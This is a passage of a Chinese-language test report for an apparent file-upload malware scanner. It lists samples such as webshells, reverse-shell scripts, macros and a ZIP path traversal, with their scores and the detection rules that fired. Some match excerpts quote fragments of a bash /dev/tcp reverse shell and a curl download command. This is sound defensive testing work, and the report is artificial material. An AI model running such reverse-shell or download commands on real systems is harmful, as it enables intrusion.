low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L7-025 — shell_jsp_runtime.jsp
- 描述: JSP Runtime exec 木马
- 文件大小: 316 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件类型 .jsp 不在允许清单内
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.jsp |
yara |
L2B |
low |
C3_JSP_Webshell_RuntimeExec |
85.0 | YARA 规则 C3_JSP_Webshell_RuntimeExec 命中(标签:无) |
✅ L7-026 — shell_nc.sh
- 描述: NC 反弹 Shell
- 文件大小: 42 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ShellScriptDangerous 命中:脚本包含反弹 Shell 特征(netcat -e 反弹 Shell)
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.sh |
structure |
L0 |
critical |
ShellScriptDangerous |
85.0 | 脚本包含反弹 Shell 特征(netcat -e 反弹 Shell) |
yara |
L2B |
low |
C7_Linux_ReverseShell_NC |
85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L7-027 — shell_php_eval.php
- 描述: PHP eval 一句话木马
- 文件大小: 40 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件类型 .php 不在允许清单内
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.php |
yara |
L2B |
low |
C3_PHP_Webshell_Oneliner |
85.0 | YARA 规则 C3_PHP_Webshell_Oneliner 命中(标签:无) |
✅ L7-028 — shell_php_obf.php
- 描述: PHP 混淆木马
- 文件大小: 61 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件类型 .php 不在允许清单内
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.php |
yara |
L2B |
high |
C3_PHP_Webshell_Obfuscated |
65.0 | YARA 规则 C3_PHP_Webshell_Obfuscated 命中(标签:无) |
✅ L7-029 — shell_python.py
- 描述: Python 反弹脚本
- 文件大小: 211 B
- 预期:
suspicious - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.py
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.py |
✅ L7-030 — shortcut.lnk
- 描述: 恶意 .lnk 快捷方式
- 文件大小: 143 B
- 预期:
suspicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.lnk |
keywords |
L2B |
high |
RemoteDownloadUnix |
30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] |
✅ L7-031 — template_backdoor.docx
- 描述: 模板后门 DOCX
- 文件大小: 2,176 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 AttachedTemplate 命中:word/settings.xml 关联了外部模板,可能触发模板注入
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
document |
L2 |
high |
AttachedTemplate |
45.0 | word/settings.xml 关联了外部模板,可能触发模板注入 |
✅ L7-032 — vba_autoexec.bas
- 描述: VBA AutoOpen 宏
- 文件大小: 98 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 VBAAutoExecShell 命中:VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描)
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
document |
L2 |
critical |
VBAAutoExecShell |
70.0 | VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描) |
keywords |
L2B |
high |
RemoteDownloadUnix |
30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] |
✅ L7-033 — wps_macro.js
- 描述: WPS JS 宏
- 文件大小: 142 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["/bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.js |
keywords |
L2B |
critical |
ReverseShellNetcat |
40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["/bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4'] |
yara |
L2B |
low |
C7_Linux_ReverseShell_Bash |
85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
yara |
L2B |
low |
C7_Linux_ReverseShell_Misc |
25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L7-034 — zip_traversal.zip
- 描述: ZIP 路径穿越(旧版)
- 文件大小: 164 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../../etc/passwd
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
PathTraversal |
50.0 | 归档内含路径穿越条目:../../etc/passwd |
extractor |
L0 |
critical |
PathTraversalBlocked |
50.0 | 已拦截路径穿越条目:../../etc/passwd |
✅ L7-035 — neg_tmp1.zip
- 描述: 占位残留 tmp zip
- 文件大小: 22 B
- 预期:
clean - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
NEG
✅ NEG-001 — NEG-001_clean.jpg
- 描述: 业务标准JPG图片
- 文件大小: 204 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-002 — NEG-002_clean.png
- 描述: 业务PNG图片
- 文件大小: 208 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-003 — NEG-003_clean.mp4
- 描述: 业务MP4视频
- 文件大小: 212 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-004 — NEG-004_clean.docx
- 描述: 业务正常docx报表
- 文件大小: 281 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-005 — NEG-005_clean.xlsx
- 描述: 业务正常xlsx表格
- 文件大小: 275 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-006 — NEG-006_clean.pdf
- 描述: 业务正常PDF报告
- 文件大小: 14 B
- 预期:
pass - 实际:
suspicious(score=20.0, action=pass_with_flag) - 判定理由: 风险评分 20.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
medium |
MalformedStructure |
20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 |
document |
L2 |
low |
PdfParseFailed |
0.0 | PDF 解析失败:startxref not found |
✅ NEG-007 — NEG-007_clean.java
- 描述: 业务源码java文件
- 文件大小: 94 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-008 — NEG-008_clean.py
- 描述: 业务源码python脚本
- 文件大小: 73 B
- 预期:
pass - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.py
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.py |
✅ NEG-009 — NEG-009_clean.zip
- 描述: 正常业务压缩包zip
- 文件大小: 285 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-010 — NEG-010_clean.exe
- 描述: 正常业务安装包(干净开源)
- 文件大小: 104 B
- 预期:
pass - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ NEG-011 — NEG-011_clean.log
- 描述: 正常日志文件
- 文件大小: 90 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-012 — NEG-012_clean.csv
- 描述: 正常csv业务数据文件
- 文件大小: 52 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-013 — NEG-013_clean.eml
- 描述: 正常eml业务邮件(无附件、无外联恶意)
- 文件大小: 121 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-014 — NEG-014_clean.dll
- 描述: 正常dll(系统干净dll)
- 文件大小: 104 B
- 预期:
pass - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.dll
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.dll |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ NEG-015 — NEG-015_clean.ttf
- 描述: 正常字体文件ttf
- 文件大小: 204 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-016 — NEG-016_clean.dwg
- 描述: 正常CAD图纸
- 文件大小: 206 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ NEG-017 — NEG-017_4layer_nested.zip
- 描述: 多层嵌套干净zip(无风险)
- 文件大小: 142 B
- 预期:
pass - 实际:
suspicious(score=35.0, action=manual_review) - 判定理由: 风险评分 35.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
medium |
MalformedStructure |
25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
extractor |
L0 |
medium |
ArchiveBroken |
10.0 | ZIP 结构损坏:File is not a zip file |
✅ NEG-018 — NEG-018_clean.bat
- 描述: 正常bat运维脚本(内网备份)
- 文件大小: 71 B
- 预期:
pass - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.bat
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bat |
✅ NEG-019 — NEG-019_clean.ps1
- 描述: 正常ps1运维脚本(内网查询)
- 文件大小: 75 B
- 预期:
pass - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.ps1
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.ps1 |
✅ NEG-020 — NEG-020_clean.odt
- 描述: 正常odt文档
- 文件大小: 277 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无